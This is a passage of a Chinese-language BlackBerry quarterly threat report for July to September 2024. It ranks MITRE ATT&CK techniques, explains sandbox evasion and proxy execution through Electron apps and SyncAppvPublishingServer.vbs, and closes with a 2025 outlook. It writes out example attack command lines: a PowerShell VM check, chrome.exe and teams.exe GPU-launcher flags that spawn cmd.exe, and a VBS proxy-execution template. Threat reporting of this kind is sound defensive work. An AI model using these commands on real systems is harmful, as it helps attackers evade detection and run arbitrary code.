持久性、特权升级、防御规避
|
| 工艺注入 |
逃避辩护、特权升级
|
| 伪装 |
防御回避
|
| 过程探索 |
发现
|
| 创建或修改系统流程 |
持久性、特权升级
|
| 视窗服务 |
持久性、特权升级
|
| 启动或登录自动启动执行 |
持久性、特权升级
|
| 注册表运行键值/启动文件夹 |
持久性、特权升级
|
| 文件和目录发现 |
发现
|
| 远程系统发现 |
发现
|
| 命令和脚本解释器 |
执行
|
| 损害防御 |
防御回避
|
| 最新报告 | |
|---|---|
| 劫持执行流程 |
1
|
| DLL 侧加载 |
2
|
|
虚拟化/ 沙盒规避 |
NA
|
| 发现系统信息 |
5
|
| 输入捕捉 |
4
|
| 软件发现 |
6
|
| 发现安全软件 |
7
|
| 预定任务/工作 |
19
|
| DLL 搜索顺序劫持 |
NA
|
| 工艺注入 |
3
|
| 伪装 |
10
|
| 过程探索 |
8
|
| 创建或修改系统流程 |
NA
|
| 视窗服务 |
NA
|
| 启动或登录自动启动执行 |
14
|
| 注册表运行键值/启动文件夹 |
15
|
| 文件和目录发现 |
9
|
| 远程系统发现 |
13
|
| 命令和脚本解释器 |
NA
|
| 损害防御 |
17
|
| 改变 | |
|---|---|
| 劫持执行流程 |
=
|
| DLL 侧加载 |
=
|
|
虚拟化/ 沙盒规避 |
↑
|
| 发现系统信息 |
↑
|
| 输入捕捉 |
↓
|
| 软件发现 |
=
|
| 发现安全软件 |
=
|
| 预定任务/工作 |
↑
|
| DLL 搜索顺序劫持 |
↑
|
| 工艺注入 |
↓
|
| 伪装 |
↓
|
| 过程探索 |
↓
|
| 创建或修改系统流程 |
↑
|
| 视窗服务 |
↑
|
| 启动或登录自动启动执行 |
↓
|
| 注册表运行键值/启动文件夹 |
↓
|
| 文件和目录发现 |
↓
|
| 远程系统发现 |
↓
|
| 命令和脚本解释器 |
↑
|
| 损害防御 |
↓
|
-
应用对策
黑莓威胁研究和情报团队分析了以下 MITRE威胁行为者经常使用的技术：
-
虚拟化/沙盒规避 - T1497
虚拟化/沙盒规避（T1497）是防御规避（TA0005）战术下的一项技术。该技术用于检测恶意软件分析和威胁检测解决方案通常采用的虚拟化或沙盒环境。通过识别这些环境，恶意行为者可以通过停止或改变其有效载荷的行为来逃避检测，从而阻止分析工具准确评估威胁。
恶意软件利用虚拟化/沙盒规避技术来验证其有效载荷是否在分析环境中执行，而不是在真正的主机上执行。这对绕过检测至关重要，可使恶意软件保持隐蔽性。有效载荷可根据环境检查配置为不同的行为方式，仅在真实环境中执行，并在检测到虚拟或沙盒环境时避免激活。
敌方存在的常见迹象可能包括
- 与虚拟机相关的注册表项和系统工件。
- 硬件配置提示，如特定的虚拟化驱动程序或低资源限制，这可能表明存在沙盒环境。
- 与常用沙箱工具或虚拟环境绑定的进程或文件路径。
- 系统行为或运行时间检查，以检测环境是否是新初始化的，这是沙箱设置的常见特征。
攻击者经常使用带有嵌入式系统检查的 PowerShell 或批处理脚本来检测虚拟化条件。下面是一个 PowerShell 命令的示例，该命令通过检查虚拟机是否存在来逃避沙盒分析：
Get-WmiObject -Class Win32_BIOS | Select-String "VMware|VirtualBox|Xen"
如果命令返回匹配结果，有效载荷可能会改变其执行路径或终止，从而逃避虚拟化环境中的进一步分析。
-
电子应用 - T1218.015
Electron 应用程序是使用 HTML、CSS 和 JavaScript 等网络技术构建的桌面应用程序。它们基于 Electron 框架开发，该框架结合了 Chromium 渲染引擎和 Node.js 运行时。
由于 Electron 应用程序可以请求大量系统权限，对手可以利用这种访问权限，以与应用程序本身相同的权限执行命令或脚本。
威胁行为者可以利用系统二进制代理执行功能，通过合法进程运行任意命令来执行恶意代码。示例：chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe"演示了如何利用系统二进制代理执行。通过使用 --disable-gpu-sandbox标记，威胁行为者通过禁用进程隔离来削弱 Chrome 浏览器的安全性。使用 --gpu-launcher="C:\Windows\system32\cmd.exe/c calc.exe"命令使对手能够通过 cmd.exe 执行任意命令。
另一个例子是：teams.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"，它会生成 cmd.exe 作为子进程来执行任意命令，同时禁用 GPU 沙盒，允许进程在没有隔离的情况下运行。
-
SyncAppvPublishingServer - T1216.002
在最近的 MITRE V15 更新中，原有的系统脚本代理执行（T1216）技术扩展了一个新的子技术，被识别为 T1216.002，并命名为SyncAppvPublishingServer。该子技术隶属于防御规避策略（TA0005），被对手利用来代理执行恶意 PowerShell 命令。
SyncAppvPublishingServer.vbs 是一个合法的 Visual Basic 脚本，与微软及其允许 Windows 虚拟化应用程序的应用程序虚拟化（App-V）有关。SyncAppvPublishingServer.vbs 脚本由微软签署，因此具有可信度。
恶意行为者利用这种子技术来绕过 PowerShell 的执行限制，并通过利用本机可信进程来躲避检测系统，这种方法通常被称为 "靠天吃饭"。这样就可以在执行恶意命令的同时融入本地系统操作。
Here is an example command line of how this can be invoked:
“SyncAppvPublishingServer.vbs "n; {Malicious PowerShell Command}"”
展望未来
本报告为期 90 天，涵盖 2024 年 7 月至 9 月，旨在帮助您随时了解未来威胁并做好准备。备受瞩目的犯罪团伙，尤其是勒索软件运营商，正在利用新的漏洞，在大小目标中寻找价值。报告指出，黑莓研究人员仅在本季度就观察到近两百万次攻击。如此频繁的活动使得了解行业和地区的最新安全新闻变得至关重要。
以下是未来几个月的预期：
被围困的电信
2024 年，电信行业成为主要攻击目标，美国电话电报公司（AT&T）的漏洞事件就是一例，该事件泄露了其网络中的通话和短信记录。进入 2025 年，我们预计攻击者将越来越多地以电信基础设施而非单个设备为攻击目标，从而使他们能够大规模拦截通信。Salt Typhoon 事件表明，老练的攻击者可以利用网络层的漏洞绕过传统的安全措施。从针对特定设备的恶意软件到基础设施级攻击的这一转变提出了严峻的挑战，因为企业现在必须重新思考如何在公共电信网络上确保敏感通信的安全。
黑市上的信息窃取者和被盗数据
在整个 2024 年，信息窃取者一直是我们季度威胁报告的主要特征。臭名昭著的信息窃取者经常在我们的顶级威胁名单中名列前茅，并多次出现在全球各地的攻击事件中。据国际刑警组织称，2023 年，暗网销售从信息窃取者那里收集的日志的数量增加了 40%。进入 2025 年，预计这一数字还会上升。
补丁和漏洞利用
威胁行为者（尤其是勒索软件团伙）利用未披露或新发现的漏洞并非新现象。然而，这些 CVE 漏洞被利用的速度之快，让 IT 专业人员越来越难以跟上。在我们这个拥有无数流程、应用程序和服务的超级互联世界中，情况尤其如此。网络犯罪分子意识到了这一点，并积极寻求利用企业 IT 基础设施和安全方面的任何弱点来获取利益。
在本报告所述期间，超过 50% 的新 CVE 得分超过 7.0。预计在新的一年里，CVE 的快速利用和概念验证 (PoC) 的武器化仍将是业界面临的重大挑战。
勒索软件改名换姓和重新出现
在过去的几十年里，执法部门和网络安全专业人员一直在与勒索软件开发商和关联公司玩猫捉老鼠的游戏。然而，正如我们在有关 Lynx 勒索软件的章节中提到的，大多数勒索软件集团都是其他勒索软件集团的混合体，通常会重塑品牌并使用其他勒索软件代码，或从其他恶意软件作者那里购买恶意代码库。随着进入网络犯罪领域的门槛不断降低，这种重塑品牌、重新出现和重复使用勒索软件的趋势很可能会继续下去。
朝鲜远程工作者和虚假身份
据报道，朝鲜间谍试图冒充远程工作人员渗透西方 IT 公司。这些网络犯罪分子精心制作了虚假身份，展示了通过求职面试和测试所需的技能，并掩盖了自己的地理位置，以避免显示为朝鲜人。在某些情况下，他们使用了深度伪造技术。一旦被录用，他们就会试图渗出内部数据并安装远程访问工具。
我们预测，这种伪造身份渗透组织的趋势将持续到 2025 年。朝鲜很可能已经部署了更多尚未被发现的秘密特工，而且他们很可能会不断改进战术，以更好地躲避侦查。
访问 黑莓博客了解最新的网络安全威胁和防御措施。
致谢
本报告凝聚了我们优秀团队和个人的共同努力。
我们要特别感谢
随时了解网络威胁
立即注册